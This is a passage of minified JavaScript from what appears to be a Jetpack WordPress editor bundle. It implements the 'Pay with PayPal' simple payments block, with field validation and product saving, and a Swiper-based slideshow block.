values.","jetpack")}),!1):(this.setState({fieldPriceError:(0,p.sprintf)(/* translators: Placeholder is a number of decimals in a number. */
_n("The price cannot have more than %d decimal place.","The price cannot have more than %d decimal places.",n,"jetpack"),n)}),!1):(this.state.fieldPriceError&&this.setState({fieldPriceError:null}),!0):(this.setState({fieldPriceError:__("If you’re selling something, you need a price tag. Add yours here.","jetpack")}),!1)})),a()(this,"validateEmail",(()=>{const{email:e}=this.props.attributes;return e?g.validate(e)?(this.state.fieldEmailError&&this.setState({fieldEmailError:null}),!0):(this.setState({fieldEmailError:(0,p.sprintf)(/* translators: Placeholder is an email address. */
__("%s is not a valid email address.","jetpack"),e)}),!1):(this.setState({fieldEmailError:__("We want to make sure payments reach you, so please add an email address.","jetpack")}),!1)})),a()(this,"validateTitle",(()=>{const{title:e}=this.props.attributes;return e?(this.state.fieldTitleError&&this.setState({fieldTitleError:null}),!0):(this.setState({fieldTitleError:__("Please add a brief title so that people know what they’re paying for.","jetpack")}),!1)})),a()(this,"handleEmailChange",(e=>{this.props.setAttributes({email:e}),this.setState({fieldEmailError:null})})),a()(this,"handleContentChange",(e=>{this.props.setAttributes({content:e})})),a()(this,"handlePriceChange",(e=>{e=parseFloat(e),isNaN(e)?this.props.setAttributes({price:void 0}):this.props.setAttributes({price:e}),this.setState({fieldPriceError:null})})),a()(this,"handleCurrencyChange",(e=>{this.props.setAttributes({currency:e})})),a()(this,"handleMultipleChange",(e=>{this.props.setAttributes({multiple:!!e})})),a()(this,"handleTitleChange",(e=>{this.props.setAttributes({title:e}),this.setState({fieldTitleError:null})})),a()(this,"getCurrencyList",k.Rh.map((e=>{const{symbol:t}=(0,i.X)(e);return{value:e,label:t===e?e:`${e} ${(0,b.trimEnd)(t,".")}`}}))),a()(this,"renderSettings",(()=>(0,o.createElement)(s.InspectorControls,null,(0,o.createElement)(y.G,{postLinkText:this.props.attributes.postLinkText,setAttributes:this.props.setAttributes}))))}componentDidMount(){this.injectPaymentAttributes();const{attributes:e,hasPublishAction:t,postLinkUrl:n,setAttributes:r,isPostEditor:a}=this.props,{productId:o}=e;(!o&&t||!a)&&this.saveProduct();const i=n&&n!==this.props.attributes.postLinkUrl,s=!this.props.attributes.postLinkText;(i||s)&&r({...i&&{postLinkUrl:n},...s&&{postLinkText:__("Click here to purchase.","jetpack")}}),window.wp?.customize?.bind("change",(e=>{let t;const n=e.id.match(/^widget_(.+)(?:\[(\d+)\])$/);if(n){t=`${n[1]}-${parseInt(n[2],10)}`}else t=e.id;t===(0,m.getWidgetIdFromBlock)(this.props.block)&&this.validateAttributes()&&this.saveProduct()}))}componentDidUpdate(e){const{hasPublishAction:t,isSelected:n,postLinkUrl:r,setAttributes:a,isPostEditor:o}=this.props;(0,b.isEqual)(e.simplePayment,this.props.simplePayment)||this.injectPaymentAttributes(),e.isSaving||!this.props.isSaving||!t&&o||!this.validateAttributes()?e.isSelected&&!n&&this.validateAttributes():this.saveProduct();const i=r&&r!==this.props.attributes.postLinkUrl,s=!this.props.attributes.postLinkText;(i||s)&&a({...i&&{postLinkUrl:r},...s&&{postLinkText:__("Click here to purchase.","jetpack")}})}injectPaymentAttributes(){const{simplePayment:e,featuredMedia:t}=this.props;if(!this.shouldInjectPaymentAttributes||(0,b.isEmpty)(e))return;const{attributes:n,setAttributes:r}=this.props,{content:a,currency:o,email:i,featuredMediaId:s,featuredMediaUrl:l,featuredMediaTitle:c,multiple:u,price:d,title:p}=n;r({content:(0,b.get)(e,["content","raw"],a),currency:(0,b.get)(e,["meta","spay_currency"],o),email:(0,b.get)(e,["meta","spay_email"],i),featuredMediaId:(0,b.get)(e,["featured_media"],s),featuredMediaUrl:(0,b.get)(t,"url",l),featuredMediaTitle:(0,b.get)(t,"title",c),multiple:Boolean((0,b.get)(e,["meta","spay_multiple"],Boolean(u))),price:(0,b.get)(e,["meta","spay_price"],d||void 0),title:(0,b.get)(e,["title","raw"],p)}),this.shouldInjectPaymentAttributes=!this.shouldInjectPaymentAttributes}toApi(){const{attributes:e}=this.props,{content:t,currency:n,email:r,featuredMediaId:a,multiple:o,price:i,productId:s,title:l}=e;return{id:s,content:t,featured_media:a,meta:{spay_currency:n,spay_email:r,spay_multiple:o,spay_price:i},status:s?"publish":"draft",title:l}}saveProduct(){if(this.state.isSavingProduct)return;const{attributes:e,setAttributes:t}=this.props,{email:n}=e,{saveEntityRecord:r}=(0,u.dispatch)("core");this.setState({isSavingProduct:!0},(()=>{r("postType",k.LC,this.toApi()).then((e=>(e&&t({productId:e.id}),e))).catch((e=>{if(!e||!e.data)return;const{data:{key:t}}=e;this.setState({fieldEmailError:"spay_email"===t?(0,p.sprintf)(/* translators: Placeholder is an email address. */
__("%s is not a valid email address.","jetpack"),n):null,fieldPriceError:"spay_price"===t?__("Invalid price.","jetpack"):null})})).finally((()=>{this.setState({isSavingProduct:!1})}))}))}render(){const{fieldEmailError:e,fieldPriceError:t,fieldTitleError:n}=this.state,{attributes:r,instanceId:a,isSelected:i,setAttributes:s,simplePayment:c}=this.props,{content:u,currency:d,email:p,featuredMediaId:m,featuredMediaUrl:h,featuredMediaTitle:g,multiple:k,price:y,productId:C,title:S}=r,j=C&&(0,b.isEmpty)(c);if(!i&&j)return(0,o.createElement)("div",{className:"simple-payments__loading"},(0,o.createElement)(w.Z,{"aria-busy":"true",content:"█████",formattedPrice:"█████",title:"█████"}));if(!i&&p&&y&&S&&!e&&!t&&!n)return(0,o.createElement)(w.Z,{"aria-busy":"false",content:u,featuredMediaUrl:h,featuredMediaTitle:g,formattedPrice:(0,_.T4)(y,d),multiple:k,title:S});const x=j?l.Disabled:"div";return(0,o.createElement)(x,{className:"wp-block-jetpack-simple-payments"},this.renderSettings(),(0,o.createElement)(E.Z,{featuredMediaId:m,featuredMediaUrl:h,featuredMediaTitle:g,setAttributes:s}),(0,o.createElement)("div",null,(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-title-error`,className:f()("simple-payments__field","simple-payments__field-title",{"simple-payments__field-has-error":n}),label:__("Item name","jetpack"),onChange:this.handleTitleChange,placeholder:__("Item name","jetpack"),required:!0,type:"text",value:S}),(0,o.createElement)(v.Z,{id:`${a}-title-error`,isError:!0},n),(0,o.createElement)(l.TextareaControl,{className:"simple-payments__field simple-payments__field-content",label:__("Describe your item in a few words","jetpack"),onChange:this.handleContentChange,placeholder:__("Describe your item in a few words","jetpack"),"aria-label":__("Describe your item in a few words","jetpack"),value:u}),(0,o.createElement)("div",{className:"simple-payments__price-container"},(0,o.createElement)(l.SelectControl,{className:"simple-payments__field simple-payments__field-currency",label:__("Currency","jetpack"),onChange:this.handleCurrencyChange,options:this.getCurrencyList,value:d}),(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-price-error`,className:f()("simple-payments__field","simple-payments__field-price",{"simple-payments__field-has-error":t}),label:__("Price","jetpack"),onChange:this.handlePriceChange,placeholder:(0,_.T4)(0,d,!1),required:!0,step:"1",type:"number",value:y||""}),(0,o.createElement)(v.Z,{id:`${a}-price-error`,isError:!0},t)),(0,o.createElement)("div",{className:"simple-payments__field-multiple"},(0,o.createElement)(l.ToggleControl,{checked:Boolean(k),label:__("Allow people to buy more than one item at a time","jetpack"),onChange:this.handleMultipleChange})),(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-email-${e?"error":"help"}`,className:f()("simple-payments__field","simple-payments__field-email",{"simple-payments__field-has-error":e}),label:__("Email","jetpack"),onChange:this.handleEmailChange,placeholder:__("Email","jetpack"),required:!0,type:"text",value:p}),(0,o.createElement)(v.Z,{id:`${a}-email-error`,isError:!0},e),(0,o.createElement)(v.Z,{id:`${a}-email-help`},__("Enter the email address associated with your PayPal account. Don’t have an account?","jetpack")+" ",(0,o.createElement)(l.ExternalLink,{href:"https://www.paypal.com/"},__("Create one on PayPal","jetpack")))))}}const S=(0,u.withSelect)(((e,t)=>{const{getEntityRecord:n,getMedia:r}=e("core"),{getCurrentPost:a}=e("core/editor"),{__experimentalGetDirtyEntityRecords:o,isSavingEntityRecord:i}=e("core"),s=o,{productId:l,featuredMediaId:c}=t.attributes,u=l?(0,b.pick)(n("postType",k.LC,l),[["content"],["meta","spay_currency"],["meta","spay_email"],["meta","spay_multiple"],["meta","spay_price"],["title","raw"],["featured_media"]]):void 0,d=a();return{block:e("core/block-editor").getBlock(t.clientId),hasPublishAction:!!(0,b.get)(d,["_links","wp:action-publish"]),isSaving:s().some((e=>i(e.kind,e.name,e.key))),simplePayment:u,featuredMedia:c?r(c):null,postLinkUrl:d?.guid?.raw,isPostEditor:Object.keys(a()).length>0}}));t.Z=(0,c.compose)(S,c.withInstanceId)(C)},36227:function(e,t,n){"use strict";var r=n(31985),a=n(61390);(0,r.Z)(a.u2,a.Xd)},39416:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(92819),c=n(94545);const __=s.__,u=e=>t=>e({featuredMediaId:(0,l.get)(t,"id",0),featuredMediaUrl:(0,l.get)(t,"url",null),featuredMediaTitle:(0,l.get)(t,"title",null)});t.Z=e=>{let{featuredMediaId:t,featuredMediaUrl:n,featuredMediaTitle:s,setAttributes:l}=e;return t?(0,r.createElement)("div",null,(0,r.createElement)(i.Fragment,null,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.ToolbarItem,null,(()=>(0,r.createElement)(a.MediaUpload,{onSelect:u(l),allowedTypes:["image"],value:t,render:e=>{let{open:t}=e;return(0,r.createElement)(c.Z,{label:__("Edit Image","jetpack"),onClick:t})}}))),(0,r.createElement)(o.ToolbarButton,{icon:"trash",title:__("Remove Image","jetpack"),onClick:()=>l({featuredMediaId:null,featuredMediaUrl:null,featuredMediaTitle:null})}))),(0,r.createElement)("figure",null,(0,r.createElement)("img",{src:n,alt:s})))):(0,r.createElement)(a.MediaPlaceholder,{icon:(0,r.createElement)(a.BlockIcon,{icon:"format-image"}),labels:{title:__("Product Image","jetpack")},accept:"image/*",allowedTypes:["image"],onSelect:u(l)})}},61390:function(e,t,n){"use strict";n.d(t,{Xd:function(){return v},u2:function(){return f}});var r=n(51806),a=n(13419),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(36825),u=n(66763),d=n(24097),p=n(36239),m=n(16376),h=n(60206);const __=s.__,_x=s._x,f="simple-payments",g=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(o.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(o.Path,{d:"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"})),b=(0,a.Wp)()||(0,a.Ug)()?"https://wordpress.com/support/pay-with-paypal/":"https://jetpack.com/support/jetpack-blocks/pay-with-paypal/",v={title:__("Pay with PayPal","jetpack"),description:(0,r.createElement)(i.Fragment,null,(0,r.createElement)("p",null,__("Lets you add credit and debit card payment buttons with minimal setup.","jetpack")),(0,r.createElement)("p",null,__("Good for collecting donations or payments for products and services.","jetpack")),(0,r.createElement)(o.ExternalLink,{href:b},__("Support reference","jetpack"))),icon:{src:g,foreground:(0,l.m)()},category:"earn",keywords:[_x("buy","block search term","jetpack"),_x("commerce","block search term","jetpack"),_x("credit card","block search term","jetpack"),_x("debit card","block search term","jetpack"),_x("earn","block search term","jetpack"),_x("ecommerce","block search term","jetpack"),_x("money","block search term","jetpack"),_x("paid","block search term","jetpack"),_x("payments","block search term","jetpack"),_x("products","block search term","jetpack"),_x("purchase","block search term","jetpack"),_x("sell","block search term","jetpack"),_x("shop","block search term","jetpack"),"square",_x("payments","block search term","jetpack")],attributes:{currency:{type:"string",default:c.a7},content:{type:"string",source:"html",selector:".jetpack-simple-payments-description p",default:""},email:{type:"string",default:""},featuredMediaId:{type:"number",default:0},featuredMediaUrl:{type:"string",source:"attribute",selector:".jetpack-simple-payments-image img",attribute:"src",default:null},featuredMediaTitle:{type:"string",source:"attribute",selector:".jetpack-simple-payments-image img",attribute:"alt",default:null},multiple:{type:"boolean",default:!1},postLinkUrl:{type:"string",source:"attribute",selector:".jetpack-simple-payments-purchase",attribute:"href"},postLinkText:{type:"string",source:"html",selector:".jetpack-simple-payments-purchase",default:__("Click here to purchase.","jetpack")},price:{type:"number"},productId:{type:"number"},title:{type:"string",source:"html",selector:".jetpack-simple-payments-title p",default:""}},transforms:{from:[{type:"shortcode",tag:"simple-payment",attributes:{productId:{type:"number",shortcode:e=>{let{named:{id:t}}=e;if(!t)return;const n=parseInt(t,10);return n||void 0}}}}]},edit:p.Z,save:m.Z,example:{attributes:{price:25,title:__("Jetpack t-shirt","jetpack"),content:__("Take flight in ultimate comfort with this stylish t-shirt featuring the Jetpack logo.","jetpack"),email:"jetpack@jetpack.com",featuredMediaUrl:h}},supports:{className:!1,customClassName:!1,html:!1,reusable:!1},deprecated:[u.Z,d.Z]}},72802:function(e,t,n){"use strict";var r=n(51806),a=n(65736),o=n(23879),i=n(22323);const __=a.__;t.Z=e=>{let{title:t="",content:n="",formattedPrice:a="",multiple:s=!1,featuredMediaUrl:l=null,featuredMediaTitle:c=null}=e;return(0,r.createElement)("div",{className:"jetpack-simple-payments-wrapper"},(0,r.createElement)("div",{className:"jetpack-simple-payments-product"},l&&(0,r.createElement)("div",{className:"jetpack-simple-payments-product-image"},(0,r.createElement)("figure",{className:"jetpack-simple-payments-image"},(0,r.createElement)("img",{src:l,alt:c}))),(0,r.createElement)("div",{className:"jetpack-simple-payments-details"},t&&(0,r.createElement)("div",{className:"jetpack-simple-payments-title"},(0,r.createElement)("p",null,t)),n&&(0,r.createElement)("div",{className:"jetpack-simple-payments-description"},(0,r.createElement)("p",null,n)),a&&(0,r.createElement)("div",{className:"jetpack-simple-payments-price"},(0,r.createElement)("p",null,a)),(0,r.createElement)("div",{className:"jetpack-simple-payments-purchase-box"},s&&(0,r.createElement)("div",{className:"jetpack-simple-payments-items"},(0,r.createElement)("input",{className:"jetpack-simple-payments-items-number",readOnly:!0,type:"number",value:"1"})),(0,r.createElement)("div",{className:"jetpack-simple-payments-button"},(0,r.createElement)("img",{alt:__("Pay with PayPal","jetpack"),src:i,srcSet:`${o} 2x`}))))))}},16376:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(96059);function o(e){let{attributes:t}=e;const{content:n,currency:o,featuredMediaUrl:i,featuredMediaTitle:s,postLinkUrl:l,postLinkText:c,price:u,productId:d,title:p}=t;return d?(0,r.createElement)("div",{className:`jetpack-simple-payments-wrapper jetpack-simple-payments-${d}`},(0,r.createElement)("div",{className:"jetpack-simple-payments-product"},i&&(0,r.createElement)("div",{className:"jetpack-simple-payments-product-image"},(0,r.createElement)("div",{className:"jetpack-simple-payments-image"},(0,r.createElement)("figure",null,(0,r.createElement)("img",{src:i,alt:s})))),(0,r.createElement)("div",{className:"jetpack-simple-payments-details"},(0,r.createElement)("div",{className:"jetpack-simple-payments-title"},(0,r.createElement)("p",null,p)),(0,r.createElement)("div",{className:"jetpack-simple-payments-description"},(0,r.createElement)("p",null,n)),(0,r.createElement)("div",{className:"jetpack-simple-payments-price"},(0,r.createElement)("p",null,(0,a.T4)(u,o))),(0,r.createElement)("a",{className:"jetpack-simple-payments-purchase",href:l,target:"_blank",rel:"noopener noreferrer"},c)))):null}},96059:function(e,t,n){"use strict";n.d(t,{N3:function(){return o},T4:function(){return l},w:function(){return s}});var r=n(43317),a=n(92819);n(36825);const o=e=>{const t=(""+e).match(/(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/);return t?Math.max(0,(t[1]?t[1].length:0)-(t[2]?+t[2]:0)):0},i=function(){var e,t,n;let r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"en-US";const a=window?.window?.navigator;return a?.languages?.length?a.languages[0]:null!==(e=null!==(t=null!==(n=a?.userLanguage)&&void 0!==n?n:a?.language)&&void 0!==t?t:a?.browserLanguage)&&void 0!==e?e:r},s=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1?arguments[1]:void 0,n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];const{precision:o,symbol:i}=(0,r.X)(t),s=e.toFixed(o);return n?`${s} ${(0,a.trimEnd)(i,".")}`:s},l=function(){var e;let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1?arguments[1]:void 0,r=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(!window.Intl||"function"!=typeof Intl.NumberFormat)return s(t,n,r);const a=[null!==(e=window?.Jetpack_Editor_Initial_State?.siteLocale)&&void 0!==e?e:"en-US",i(),"en-US"];let o,l={};for(o of(r&&(l={style:"currency",currency:n}),a))try{return Intl.NumberFormat(o,l).format(t)}catch{continue}return s(t,n,r)}},20288:function(e,t,n){"use strict";n.d(t,{G:function(){return c},J:function(){return u}});var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(92819);const __=s.__,_x=s._x;function c(e){let{attributes:{autoplay:t,delay:n,effect:a,images:s,sizeSlug:c},imageSizeOptions:u,onChangeImageSize:d,setAttributes:p}=e;const m="undefined"!=typeof window&&window.matchMedia("(prefers-reduced-motion: reduce)").matches,h=[{label:_x("Slide","Slideshow transition effect","jetpack"),value:"slide"},{label:_x("Fade","Slideshow transition effect","jetpack"),value:"fade"}];return(0,r.createElement)(i.Fragment,null,(0,r.createElement)(o.PanelBody,{title:__("Autoplay","jetpack")},(0,r.createElement)(o.ToggleControl,{label:__("Autoplay","jetpack"),help:__("Autoplay between slides","jetpack"),checked:t,onChange:e=>{p({autoplay:e})}}),t&&(0,r.createElement)(o.RangeControl,{label:__("Delay between transitions (in seconds)","jetpack"),value:n,onChange:e=>{p({delay:e})},min:1,max:5}),t&&m&&(0,r.createElement)("span",null,__("The Reduce Motion accessibility option is selected, therefore autoplay will be disabled in this browser.","jetpack"))),(0,r.createElement)(o.PanelBody,{title:__("Effects","jetpack")},(0,r.createElement)(o.SelectControl,{label:__("Transition","jetpack"),value:a,onChange:e=>{p({effect:e})},options:h})),!(0,l.isEmpty)(s)&&!(0,l.isEmpty)(u)&&(0,r.createElement)(o.PanelBody,{title:__("Image Settings","jetpack")},(0,r.createElement)(o.SelectControl,{label:__("Size","jetpack"),value:c,options:u,onChange:e=>d(e)})))}function u(e){let{allowedMediaTypes:t,attributes:{images:n},onSelectImages:s}=e;return(0,r.createElement)(i.Fragment,null,!!n.length&&(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.ToolbarItem,null,(()=>(0,r.createElement)(a.MediaUpload,{onSelect:s,allowedTypes:t,multiple:!0,gallery:!0,value:n.map((e=>e.id)),render:e=>{let{open:t}=e;return(0,r.createElement)(o.Button,{label:__("Edit Slideshow","jetpack"),onClick:t},__("Edit","jetpack"))}})))))}},30847:function(e,t,n){"use strict";async function r(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:".swiper-container",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const a={effect:"slide",grabCursor:!0,init:!0,initialSlide:0,navigation:{nextEl:".swiper-button-next",prevEl:".swiper-button-prev"},pagination:{bulletElement:"button",clickable:!0,el:".swiper-pagination",type:"bullets"},preventClicks:!1,preventClicksPropagation:!1,releaseFormElements:!1,setWrapperSize:!0,threshold:5,touchStartPreventDefault:!1,on:Object.fromEntries(Object.entries(r||{}).map((e=>{let[t,n]=e;return[t,function(){n(this)}]})))},[{default:o}]=await Promise.all([Promise.all([n.e(96),n.e(390)]).then(n.t.bind(n,59101,23)),Promise.all([n.e(96),n.e(390)]).then(n.bind(n,89701))]);return new o(e,{...a,...t})}n.d(t,{Z:function(){return r}})},21233:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(11313),s=n(52175),l=n(55609),c=n(94333),u=n(9818),d=n(12238),p=n(69307),m=n(65736),h=n(92819),f=n(20288),g=n(19486),b=n(19775);const __=m.__,v=["image"],k=(e,t)=>{const n=(0,h.pick)(e,["alt","id","link","caption"]);return n.url=(0,h.get)(e,["sizes",t,"url"])||(0,h.get)(e,["media_details","sizes",t,"source_url"])||e.url,n};class y extends p.Component{constructor(){super(...arguments),a()(this,"onSelectImages",(e=>{const{sizeSlug:t}=this.props.attributes,n=e.map((e=>k(e,t)));this.setAttributes({images:n})})),a()(this,"onRemoveImage",(e=>()=>{const t=(0,h.filter)(this.props.attributes.images,((t,n)=>e!==n));this.setState({selectedImage:null}),this.setAttributes({images:t})})),a()(this,"addFiles",(e=>{const t=this.props.attributes.images||[],n=this.props.attributes.sizeSlug,{lockPostSaving:r,unlockPostSaving:a,noticeOperations:o}=this.props,s="slideshowBlockLock";r(s),(0,d.mediaUpload)({allowedTypes:v,filesList:e,onFileChange:e=>{const r=e.map((e=>k(e,n)));this.setAttributes({images:[...t,...r]}),r.every((e=>(0,i.isBlobURL)(e.url)))||a(s)},onError:o.createErrorNotice})})),a()(this,"uploadFromFiles",(e=>this.addFiles(e.target.files))),a()(this,"updateImagesSize",(e=>{const{images:t}=this.props.attributes,{resizedImages:n}=this.props,r=t.map((t=>{const r=n.find((e=>{let{id:n}=e;return parseInt(n,10)===parseInt(t.id,10)})),a=(0,h.get)(r,["sizes",e,"source_url"]);return{...t,...a&&{url:a}}}));this.setAttributes({images:r,sizeSlug:e})})),this.state={selectedImage:null}}componentDidMount(){const{ids:e,sizeSlug:t}=this.props.attributes;t||this.setAttributes({sizeSlug:e.length?"full":"large"})}setAttributes(e){if(e.ids)throw new Error('The "ids" attribute should not be changed directly. It is managed automatically when "images" attribute changes');e.images&&(e={...e,ids:e.images.map((e=>{let{id:t}=e;return parseInt(t,10)}))}),this.props.setAttributes(e)}getImageSizeOptions(){const{imageSizes:e}=this.props;return(0,h.map)(e,(e=>{let{name:t,slug:n}=e;return{value:n,label:t}}))}render(){const{attributes:e,className:t,isSelected:n,noticeOperations:r,noticeUI:a}=this.props,{align:i,autoplay:c,delay:u,effect:d,images:m}=e,h=this.getImageSizeOptions(),k=(0,o.createElement)(p.Fragment,null,(0,o.createElement)(s.InspectorControls,null,(0,o.createElement)(f.G,{attributes:e,imageSizeOptions:h,onChangeImageSize:this.updateImagesSize,setAttributes:e=>this.setAttributes(e)})),(0,o.createElement)(s.BlockControls,null,(0,o.createElement)(f.J,{allowedMediaTypes:v,attributes:e,onSelectImages:this.onSelectImages})));return 0===m.length?(0,o.createElement)(p.Fragment,null,k,(0,o.createElement)(s.MediaPlaceholder,{icon:b.qv,className:t,labels:{title:__("Slideshow","jetpack"),instructions:__("Drag images, upload new ones or select files from your library.","jetpack")},onSelect:this.onSelectImages,accept:"image/*",allowedTypes:v,multiple:!0,notices:a,onError:r.createErrorNotice})):(0,o.createElement)(p.Fragment,null,k,a,(0,o.createElement)(g.Z,{align:i,autoplay:c,className:t,delay:u,effect:d,images:m,onError:r.createErrorNotice}),(0,o.createElement)(l.DropZone,{onFilesDrop:this.addFiles}),n&&(0,o.createElement)("div",{className:"wp-block-jetpack-slideshow__add-item"},(0,o.createElement)(l.FormFileUpload,{multiple:!0,className:"wp-block-jetpack-slideshow__add-item-button",onChange:this.uploadFromFiles,accept:"image/*",icon:"insert"},__("Upload an image","jetpack"))))}}t.ZP=(0,c.compose)((0,u.withSelect)(((e,t)=>({imageSizes:e("core/editor").getEditorSettings().imageSizes,resizedImages:t.attributes.ids.reduce(((t,n)=>{const r=e("core").getMedia(n);return[...t,{id:n,sizes:(0,h.get)(r,["media_details","sizes"])}]}),[])}))),(0,u.withDispatch)((e=>{const{lockPostSaving:t,unlockPostSaving:n}=e("core/editor");return{lockPostSaving:t,unlockPostSaving:n}})),l.withNotices)(y)},17013:function(e,t,n){"use strict";var r=n(31985),a=n(19775);(0,r.Z)(a.u2,a.Xd)},19775:function(e,t,n){"use strict";n.d(t,{Xd:function(){return b},qv:function(){return h},u2:function(){return g}});var r=n(51806),a=n(55609),o=n(65736),i=n(70355),s=n(5820),l=n(21233),c=n(67240),u=n(65784),d=n(6425),p=n(85983),m=n(81504);const __=o.__,_x=o._x,h=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",fill:"none"},(0,r.createElement)(a.Path,{d:"M21 8V19C21 20.1046 20.1057 21 19.0011 21C15.8975 21 9.87435 21 6 21",fill:"none",stroke:"currentColor",strokeWidth:"1.5"}),(0,r.createElement)(a.Rect,{x:"3.75",y:"3.75",width:"13.5",height:"13.5",rx:"0.875",fill:"none",stroke:"currentColor",strokeWidth:"1.5"}),(0,r.createElement)(a.Path,{d:"M9 14L12 11L9 8",fill:"none",stroke:"currentColor",strokeWidth:"1.5"})),f={align:"center",autoplay:!0,ids:[22,23],images:[{alt:"",caption:"",id:22,url:u},{alt:"",caption:"",id:23,url:d},{alt:"",caption:"",id:23,url:p}],effect:"slide"},g="slideshow",b={title:__("Slideshow","jetpack"),category:(0,s.Z)("media","layout"),keywords:[_x("image","block search term","jetpack"),_x("gallery","block search term","jetpack"),_x("slider","block search term","jetpack")],description:__("Display multiple images in sequential order.","jetpack"),attributes:{align:{default:"center",type:"string"},autoplay:{type:"boolean",default:!1},delay:{type:"number",default:3},ids:{default:[],type:"array"},images:{type:"array",default:[],source:"query",selector:".swiper-slide",query:{alt:{source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"string",source:"html",selector:"figcaption"},id:{source:"attribute",selector:"img",attribute:"data-id"},url:{source:"attribute",selector:"img",attribute:"src"}}},effect:{type:"string",default:"slide"},sizeSlug:{type:"string"}},supports:{align:["center","wide","full"],html:!1},icon:{src:h,foreground:(0,i.m)()},edit:l.ZP,save:c.Z,transforms:m.Z,example:{attributes:f}}},85575:function(e,t,n){"use strict";n.d(t,{D:function(){return a}});var r=n(65736);const __=r.__;function a(e,t,n){let a="";if(n<=5)for(let e=1;e<=n;e++){a+='<button class="'+`swiper-pagination-bullet${e===t?" swiper-pagination-bullet-active":""}`+'" tab-index="0" role="button" aria-label="'+(0,r.sprintf)(/* translators: placeholder is the the video number to navigate to */
__("Go to slide %s","jetpack"),e)+'"></button>'}else a+=`<div class="swiper-pagination-simple">${t} / ${n}</div>`;return a}},67240:function(e,t,n){"use strict";var r=n(51806),a=n(19486);t.Z=e=>{let{attributes:{align:t,autoplay:n,delay:o,effect:i,images:s},className:l}=e;return(0,r.createElement)(a.Z,{align:t,autoplay:n,className:l,delay:o,effect:i,images:s})}},19486:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(11313),s=n(52175),l=n(55609),c=n(69307),u=n(65736),d=n(65235),p=n.n(d),m=n(92819),h=n(6209),f=n(30847),g=n(85575),b=n(17766);const __=u.__;class v extends c.Component{constructor(e){var t;super(e),t=this,a()(this,"pendingRequestAnimationFrame",null),a()(this,"resizeObserver",null),a()(this,"initializeResizeObserver",(e=>{this.clearResizeObserver(),this.resizeObserver=new h.Z((()=>{this.clearPendingRequestAnimationFrame(),this.pendingRequestAnimationFrame=requestAnimationFrame((()=>{(0,b.$m)(e),e.update()}))})),this.resizeObserver.observe(e.el)})),a()(this,"clearPendingRequestAnimationFrame",(()=>{this.pendingRequestAnimationFrame&&(cancelAnimationFrame(this.pendingRequestAnimationFrame),this.pendingRequestAnimationFrame=null)})),a()(this,"clearResizeObserver",(()=>{this.resizeObserver&&(this.resizeObserver.disconnect(),this.resizeObserver=null)})),a()(this,"prefersReducedMotion",(()=>"undefined"!=typeof window&&window.matchMedia("(prefers-reduced-motion: reduce)").matches)),a()(this,"buildSwiper",(function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return(0,f.Z)(t.slideshowRef.current,{autoplay:!(!t.props.autoplay||t.prefersReducedMotion())&&{delay:1e3*t.props.delay,disableOnInteraction:!1},effect:t.props.effect,loop:!0,initialSlide:e,navigation:{nextEl:t.btnNextRef.current,prevEl:t.btnPrevRef.current},pagination:{clickable:!0,el:t.paginationRef.current,type:"custom",renderCustom:g.D}},{init:b.UA,imagesReady:b.$m,paginationRender:b.Wj,transitionEnd:b.HV})})),this.slideshowRef=(0,c.createRef)(),this.btnNextRef=(0,c.createRef)(),this.btnPrevRef=(0,c.createRef)(),this.paginationRef=(0,c.createRef)()}componentDidMount(){const{onError:e}=this.props;this.buildSwiper().then((e=>{this.swiperInstance=e,this.initializeResizeObserver(e)})).catch((()=>{e(__("The Swiper library could not be loaded.","jetpack"))}))}componentWillUnmount(){this.clearResizeObserver(),this.clearPendingRequestAnimationFrame()}componentDidUpdate(e){const{align:t,autoplay:n,delay:r,effect:a,images:o,onError:i}=this.props;if(t===e.align&&(0,m.isEqual)(o,e.images)||this.swiperInstance&&this.swiperInstance.update(),a!==e.effect||n!==e.autoplay||r!==e.delay||o!==e.images){let t;t=this.swiperIndex?o.length===e.images.length?this.swiperInstance.realIndex:e.images.length:0,this.swiperInstance&&this.swiperInstance.destroy(!0,!0),this.buildSwiper(t).then((e=>{this.swiperInstance=e,this.initializeResizeObserver(e)})).catch((()=>{i(__("The Swiper library could not be loaded.","jetpack"))}))}}render(){if(!this.props?.images?.length)return null;const{autoplay:e,className:t,delay:n,effect:r,images:a}=this.props;return(0,o.createElement)("div",{className:t,"data-autoplay":e||null,"data-delay":e?n:null,"data-effect":r},(0,o.createElement)("div",{className:"wp-block-jetpack-slideshow_container swiper-container",ref:this.slideshowRef},(0,o.createElement)("ul",{className:"wp-block-jetpack-slideshow_swiper-wrapper 